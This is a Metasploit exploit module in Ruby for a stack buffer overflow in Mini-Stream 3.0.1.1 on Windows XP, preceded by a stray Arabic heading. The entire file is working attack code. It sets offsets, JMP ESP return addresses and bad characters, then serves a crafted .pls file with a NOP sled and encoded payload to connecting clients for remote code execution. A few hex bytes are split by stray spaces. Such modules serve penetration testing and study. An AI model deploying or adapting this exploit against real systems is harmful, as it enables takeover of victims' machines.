الاستضافة الاسلامية

##
# $Id: mini_stream.rb 14155 2011-11-04 08:20:43Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack Buffer Overflow in Mini-Stream 3.0.1.1
By creating a specially crafted pls file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'CORELAN Security Team ',
'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
],
'Version' => '$Revision: 14155 $',
'References' =>
[
[ 'OSVDB', '61341' ],
[ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 3500,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\ x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5 c\x30",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 ENG',
{
'Ret' => 0x7e429353, # 0x7e429353 JMP ESP - USER32.dll
'Offset' => 17417
}
],
[
'Windows XP SP2 ENG',
{
'Ret' => 0x7c941eed, # 0x7c941eed JMP ESP - SHELL32.dll
'Offset' => 17417
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 25 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URIPATH', [ true, 'The URI to use for this exploit', 'msf.pls'])
], self.class)
end


def on_request_uri(cli, request)
# Calculate the correct offset
host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
host << ":#{datastore['SRVPORT']}/"
offset = target['Offset'] - host.length

# Construct our buffer
sploit = rand_text_alpha(offset)
sploit << [target.ret].pack('V')
sploit << make_nops(32)
sploit << @p

print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
end

def exploit
@p = payload.encoded
super
end

end